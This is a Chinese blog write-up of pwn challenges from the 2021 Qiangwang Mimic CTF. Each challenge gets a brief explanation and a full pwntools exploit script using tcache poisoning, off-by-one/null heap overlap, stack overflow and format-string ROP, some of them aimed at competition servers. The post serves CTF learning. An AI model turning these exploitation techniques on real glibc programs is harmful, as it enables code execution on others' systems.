2021第四届强网拟态PWN-wp

random_heap

原本以为这题是控随机数,因为之前做过一个题目是控随机数的,赛后仔细想想这两道题都不一样,浪费了很多时间,导致比赛的时候没做出来。

暴力直接把tcache填满,因为有UAF,可以泄露出unsorted bin里面的main_arena,当然有脸黑的时候没有放入unsorted bin,那就重新运行直到泄露出地址。在代码里记下unsorted bin的下标,然后改tcache的fd指针,遇到unsorted bin的时候跳过,不要修改到它,要不然直接报错了。最后再全部申请回来,这时候肯定是会申请到目的地址的,然后再写入one_gadget

from pwn import * from pwn import p64,u64,p32,u32,p8 from ctypes import * # dll = cdll.LoadLibrary("/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so") # libc = cdll.LoadLibrary("/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so") # seed = libc.rand() context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./random_heap') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so') io = process('random_heap') def add(idx,size=0): io.sendlineafter('Your choice: ', '1') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size)) def delete(idx): io.sendlineafter('Your choice: ', '4') io.sendlineafter('Index: ', str(idx)) def edit(idx,content): io.sendlineafter('Your choice: ', '2') io.sendlineafter('Index: ', str(idx)) io.sendafter('Content: ', content) def show(idx): io.sendlineafter('Your choice: ', '3') io.sendlineafter('Index: ', str(idx)) def recv(): leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) return leak for i in range(64): add(i,0x100) idx = 0 for i in range(64): delete(i) show(i) io.recvuntil('Content: ') leak = u64(io.recv(6).ljust(8,b'\x00')) if (leak >> 40)==0x7f: idx = i break else: continue show(idx) leak = recv() info(hex(leak)) libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10 info(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] info(hex(free_hook)) for i in range(64): if i == idx: continue else: edit(i,p64(free_hook)) for i in range(64): add(i,0x100) ''' 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' one_gadget = libc_base + 0x4f432 for i in range(64): edit(i,p64(one_gadget)) delete(0) # gdb.attach(io, 'x/30xg $rebase(0x202260)') io.interactive()

sonic

栈溢出签到题(本地没装cli所以不会得到flag,直接打远程)

from pwn import * from pwn import p64,u64,p32,u32,p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./sonic') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') # libc = ELF('') nologin = 0x73a # io = process('./sonic') io = remote('123.60.63.90','6889') def exp(): io.recvuntil('main Address=') elf_base = eval(io.recv(14)) - 0x7cf info(hex(elf_base)) # io.recvuntil('login:') payload = b'a'*0x28+p64(elf_base+nologin) # gdb.attach(io) io.sendline(payload) exp() io.interactive()

old_school

off-by-one,堆块重叠构造tcache attack

from pwn import * from pwn import p64,u64,p32,u32,p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./old_school') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') # io = process('./old_school') io = remote('121.36.194.21','49154') def add(idx,size): io.sendlineafter('Your choice: ','1') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size)) def delete(idx): io.sendlineafter('Your choice: ','4') io.sendlineafter('Index: ', str(idx)) def edit(idx,content): io.sendlineafter('Your choice: ','2') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Content: ', content) def show(idx): io.sendlineafter('Your choice: ','3') io.sendlineafter('Index: ', str(idx)) def recv(): leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) return leak for i in range(9): add(i,0xa0) #0-8 for i in range(7): delete(i) delete(7) add(0,0x18) show(0) leak = recv() info(hex(leak)) libc_base = leak - 256 - libc.sym['__malloc_hook']-0x10 info(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] info(hex(free_hook)) add(1,0x18) add(2,0x68) delete(2) edit(0,p64(0)*3+p8(0x91)) delete(1) add(3,0x88) edit(3,p64(0)*3+p64(0x71)+p64(free_hook)) add(4,0x68) add(5,0x68) ''' 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' one_gadget = libc_base + 0x4f432 edit(5,p64(one_gadget)) # gdb.attach(io, 'x/20xg $rebase(0x202160)') delete(0) io.interactive()

old_school_revenge

还是上面的题把off-by-one改成了off-by-null,构造堆块重叠然后修改tcache的fd指向free_hook

from pwn import * from pwn import p64, u64, p32, u32, p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux', 'sp', '-h'] # elf = ELF('./old_school') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') io = process('./old_school_revenge') # io = remote('121.36.194.21', '49154') def add(idx, size): io.sendlineafter('Your choice: ', '1') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size)) def delete(idx): io.sendlineafter('Your choice: ', '4') io.sendlineafter('Index: ', str(idx)) def edit(idx, content): io.sendlineafter('Your choice: ', '2') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Content: ', content) def show(idx): io.sendlineafter('Your choice: ', '3') io.sendlineafter('Index: ', str(idx)) def recv(): leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) return leak for i in range(7): add(i,0xf8) add(7,0xf8) # chunk 7 add(8,0xf8) # chunk 8 add(9,0xf8) # chunk 9 add(10,0xf8) # chunk 10 for i in range(7): delete(i) delete(7) edit(8,b'\x00'*0xf0+p64(0x200)) # chunk 9->prev_size = chunk 8 + chunk 7, chunk 9->inuse=0 delete(9) for i in range(7): add(i,0xf8) add(0x11,0xf8) show(17) leak = recv() info(hex(leak)) libc_base = leak - libc.sym['__malloc_hook'] - 848-0x10 info(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] info(hex(free_hook)) add(12,0x60) delete(12) edit(8,p64(free_hook)) add(13,0x60) add(14,0x60) ''' 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' one_gadget = libc_base + 0x4f432 edit(14,p64(one_gadget)) delete(0) # gdb.attach(io,'x/24xg $rebase(0x202160)') io.interactive()

bitflip

标准的2.27 off-by-one利用,限制申请size不大于0x50,所以需要构造多个chunk来进行合并,然后构造chunk和unsorted bin重叠,申请后修改tcache的fd指针指向malloc_hook ,tcache不检查size大小,所以可以直接申请成功,然后写入one_gadget

from pwn import * from pwn import p64,u64,p32,u32,p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./bitflip') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') io = process('./bitflip') def add(idx,size): # size<=0x50 io.sendlineafter('Your choice: ','1') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size)) def delete(idx): io.sendlineafter('Your choice: ','4') io.sendlineafter('Index: ', str(idx)) def edit(idx,content): io.sendlineafter('Your choice: ','2') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Content: ', content) def show(idx): io.sendlineafter('Your choice: ','3') io.sendlineafter('Index: ', str(idx)) def chance(addr): io.sendlineafter('Your choice: ',str(0x666)) io.sendlineafter('Address: ',str(addr)) def recv(): leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) return leak for i in range(16): add(i,0x48) for i in range(8): edit(i,b'\x00'*0x48+p8(0xa1)) for i in range(1,8): delete(i) edit(8,b'\x00'*0x48+p8(0xa1)) delete(9) add(9,0x48) edit(9,b'\x00'*0x48+p8(0x61)) show(10) leak = recv() libc_base =leak - 96 - 0x10 - libc.sym['__malloc_hook'] info(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] info(hex(free_hook)) add(1,0x50) delete(10) # chance(malloc_hook-0x20) # _IO_wide_data_0+30 = 0x00007ffff7dc9d60 -> 0x00007ffff7dc9d61 edit(1,p64(free_hook)) add(2,0x50) add(3,0x50) ''' 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' one_gadget = libc_base + 0x4f432 edit(3,p64(one_gadget)) delete(0) # gdb.attach(io,'x/30xg $rebase(0x202160)') io.interactive()

pwnpwn

格式化字符串漏洞,程序中有后门函数,需要自己写入参数,利用后门函数中的片段汇编代码即可,过程中需要注意字节对齐

from pwn import * from pwn import p64,u64,p32,u32,p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./pwnpwn') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') io = process('./pwnpwn') def exp(): io.recvuntil('welcome to mimic world,try something\n') io.sendline(str(1)) io.recvuntil('let us give you some trick\n') leak = eval(io.recv(14)) info(hex(leak)) elf_base = leak - 0x9b9 info(hex(elf_base)) io.sendline(str(2)) io.sendlineafter('hello','%22$p') io.recvuntil('\n') rbp = eval(io.recv(14)) info(hex(rbp)) shell = 0x94A + elf_base ret_addr = rbp - 0x28 io.sendline(str(2)) p = b'a'+fmtstr_payload(8,{ret_addr:shell},write_size='short') io.send(p) p = fmtstr_payload(8,{ret_addr+0x18-2:0x6873},write_size='short') # gdb.attach(io,'b *$rebase(0x9f6)') io.send(p) exp() io.interactive()

bornote

2.31的off by null,暂时还不会,复现了再贴

oldecho

这题是复现的,思路是用格式化字符串漏洞,修改stdout结构中的_fileno_IO_write_base还有_flags,重新打开输出流,泄露地址后,再用格式化字符串漏洞修改返回地址,利用libc gadget构造ROP链。这个方法成功率极低,即__libc_start_main+240需要修改为stdout的地址,我在本地不开ASLR的情况下可以拿到flag,开了ASLR估计难了。这题如果有更好的方法希望各位师傅教教我。exp也有优化空间,之后自己应该会写个模块专门做这种格式化字符串构造ROP链的。

from pwn import * from pwn import p64,u64,p32,u32,p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./oldecho') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') io = process('./oldecho') # 这个方法太蠢了,爆破几率极低,思路就是修改返回地址低位,改成libc里面的gadget,构造pop链orw, # 由于gadget需要修改一个半字节,被迫修改两字节,所以每次使用到正确gadget几率下降,也记录一下过程(没写完就放弃这种方法了) def exp(): ''' 0x7ffff77e182d <__libc_start_main+221>: mov rsi,QWORD PTR [rsp+0x8] 0x7ffff77e1832 <__libc_start_main+226>: mov edi,DWORD PTR [rsp+0x14] 0x7ffff77e1836 <__libc_start_main+230>: mov rdx,QWORD PTR [rax] 0x7ffff77e1839 <__libc_start_main+233>: mov rax,QWORD PTR [rsp+0x18] 0x7ffff77e183e <__libc_start_main+238>: call rax 0x7ffff77e1840 <__libc_start_main+240>: mov edi,eax 0x7ffff77e1842 <__libc_start_main+242>: call 0x7ffff77fb040 <__GI_exit> ''' ''' 0x7ffff77e1e71 <iconv_open+609>: pop rbx 0x7ffff77e1e72 <iconv_open+610>: pop r12 0x7ffff77e1e74 <iconv_open+612>: pop r13 0x7ffff77e1e76 <iconv_open+614>: pop r14 0x7ffff77e1e78 <iconv_open+616>: pop r15 0x7ffff77e1e7a <iconv_open+618>: pop rbp 0x7ffff77e1e7b <iconv_open+619>: ret ''' ''' 0x7ffff77e1e79 <iconv_open+617>: pop rdi 0x7ffff77e1e7a <iconv_open+618>: pop rbp 0x7ffff77e1e7b <iconv_open+619>: ret ''' ''' 0x7ffff77e1e77 <iconv_open+615>: pop rsi 0x7ffff77e1e78 <iconv_open+616>: pop r15 0x7ffff77e1e7a <iconv_open+618>: pop rbp 0x7ffff77e1e7b <iconv_open+619>: ret ''' io.recvuntil('Gift: ') stack = eval(io.recv(14)) info(hex(stack)) ret_addr = stack + 0x10+0x10 open_rsi = stack + 0x78 open_rdi = stack + 0x80 # 写入字符串 ‘r’ payload = '%'+str(open_rsi & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%'+str(0x72)+'c%10$hn' io.sendline(payload) # 写字符串 ‘flag’ payload = '%'+str(open_rdi & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%'+str(ord('f'))+'c%10$hhn' io.sendline(payload) payload = '%'+str(open_rdi+1 & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%'+str(ord('l'))+'c%10$hhn' io.sendline(payload) payload = '%'+str(open_rdi+2 & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%'+str(ord('a'))+'c%10$hhn' io.sendline(payload) payload = '%'+str(open_rdi+3 & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%'+str(ord('g'))+'c%10$hn' io.sendline(payload) gdb.attach(io) payload = '%'+str(ret_addr & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%' + str(0x1839) + 'c%10$hn' io.sendline(payload) io.sendline('Bye~') def fmt_func(target,value): payload = '%'+str(target)+'c%6$hhn' io.sendline(payload) payload = '%'+str(value)+'c%10$hhn' io.sendline(payload) def exp2(): io.recvuntil('Gift: ') stack = eval(io.recv(14)) info(hex(stack)) stdout_fileno = stack - 0x8477c58 # 就爆破这个地址 stdout_flags = stdout_fileno - 0x70 io_write_base = stdout_flags + 0x20 # 爆破地址,修改stdout->_fileno for i in range(4): fmt_func((stack + 0x30 + i) & 0xff , (stdout_fileno >> (8*i)) & 0xff) payload = '%'+str(2)+'c%15$hhn' io.sendline(payload) # 改stdout->_flags为0xfbad3887泄露libc fmt_func((stack + 0x30) & 0xff, stdout_flags & 0xff) payload = '%'+str(0x1887)+'c%15$hn' io.sendline(payload) # 改write base最低位为0 fmt_func((stack + 0x30) & 0xff, io_write_base & 0xff) payload = '%15$hhn' io.sendline(payload) # 触发stdout,泄露libc地址 io.sendline('1'*0x10) leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base = leak - libc.sym['_IO_file_jumps'] prdi = libc_base + 0x0000000000021112 #: pop rdi ; ret prsi = libc_base + 0x00000000000202f8 #: pop rsi ; ret prdx = libc_base + 0x0000000000001b92 #: pop rdx ; ret o_func = libc_base + libc.sym['open'] r_func = libc_base + libc.sym['read'] w_func = libc_base + libc.sym['write'] info(hex(o_func)) info(hex(r_func)) info(hex(w_func)) open_rdx = stack + 0xf0 open_rsi = stack + 0xf8 open_rdi = stack + 0x100 # 写入open第二个参数 payload = '%'+str(open_rsi & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%'+str(ord('r'))+'c%10$hn' io.sendline(payload) # 写入open第一个参数 fmt_func((open_rdi+0) & 0xff,ord('f')) fmt_func((open_rdi+1) & 0xff,ord('l')) fmt_func((open_rdi+2) & 0xff,ord('a')) payload = '%'+str((open_rdi+3) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%'+str(ord('g'))+'c%10$hn' io.sendline(payload) ret_addr = stack + 0x20 # 返回地址改为prdi for i in range(3): fmt_func((ret_addr + i) & 0xff, (prdi >> (8 * i) & 0xff)) # rdi for i in range(6): fmt_func((ret_addr + 8 + i) & 0xff, (open_rdi >> (8 * i) & 0xff)) # prsi for i in range(6): fmt_func((ret_addr + 0x10 + i) & 0xff, (prsi >> (8 * i) & 0xff)) # rsi payload = '%'+str((ret_addr + 0x18) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$n' io.sendline(payload) payload = '%'+str((ret_addr + 0x18 + 4) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$n' io.sendline(payload) # prdx for i in range(6): fmt_func((ret_addr + 0x20 + i) & 0xff, (prdx >> (8 * i) & 0xff)) # rdx 为0 payload = '%'+str((ret_addr + 0x28) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$n' io.sendline(payload) payload = '%'+str((ret_addr + 0x28 + 8) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$n' io.sendline(payload) # open for i in range(6): fmt_func((ret_addr + 0x30 + i) & 0xff, (o_func >> (8 * i) & 0xff)) # 处理高位的0 payload = '%'+str((ret_addr + 0x30 + 6) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$hn' io.sendline(payload) payload = '%'+str((ret_addr + 0x30 + 7) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$hn' io.sendline(payload) # prdi for i in range(6): fmt_func((ret_addr + 0x38 + i) & 0xff, (prdi >> (8 * i) & 0xff)) payload = '%'+str((ret_addr + 0x38 + 6) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$hn' io.sendline(payload) payload = '%'+str((ret_addr + 0x38 + 7) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$hn' io.sendline(payload) # read rdi payload = '%'+str((ret_addr + 0x40) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%1c%10$n' io.sendline(payload) payload = '%'+str((ret_addr + 0x40 + 4) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$n' io.sendline(payload) # prsi for i in range(6): fmt_func((ret_addr + 0x48 + i) & 0xff, (prsi >> (8 * i) & 0xff)) # read rsi rsi = stack + 0x100 for i in range(6): fmt_func((ret_addr + 0x50 + i) & 0xff, (rsi >> (8 * i) & 0xff)) # prdx for i in range(6): fmt_func((ret_addr + 0x58 + i) & 0xff, (prdx >> (8 * i) & 0xff)) # 处理高位的0 payload = '%'+str((ret_addr + 0x58 + 6) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$hn' io.sendline(payload) payload = '%'+str((ret_addr + 0x58 + 7) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$hn' io.sendline(payload) # read rdx payload = '%'+str((ret_addr + 0x60) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%100c%10$n' io.sendline(payload) payload = '%'+str((ret_addr + 0x60 + 4) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$n' io.sendline(payload) # read函数 for i in range(6): fmt_func((ret_addr + 0x68 + i) & 0xff, (r_func >> (8 * i) & 0xff)) # prdi for i in range(6): fmt_func((ret_addr + 0x70 + i) & 0xff, (prdi >> (8 * i) & 0xff)) payload = '%'+str((ret_addr + 0x70 + 6) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$hn' io.sendline(payload) payload = '%'+str((ret_addr + 0x70 + 7) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$hn' io.sendline(payload) # rdi payload = '%'+str((ret_addr + 0x78) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%2c%10$n' io.sendline(payload) payload = '%'+str((ret_addr + 0x78 + 4) & 0xff)+'c%6$hhn' io.sendline(payload) payload = '%10$n' io.sendline(payload) # write函数,参数用上面read函数的,除了改rdi,其他没变 for i in range(6): fmt_func((ret_addr + 0x80 + i) & 0xff, (w_func >> (8 * i) & 0xff)) # gdb.attach(io) io.sendline('Bye~') exp2() io.interactive()


__EOF__

本文作者unr4v31
本文链接https://www.cnblogs.com/unr4v31/p/15471713.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   unr4v31  阅读(540)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示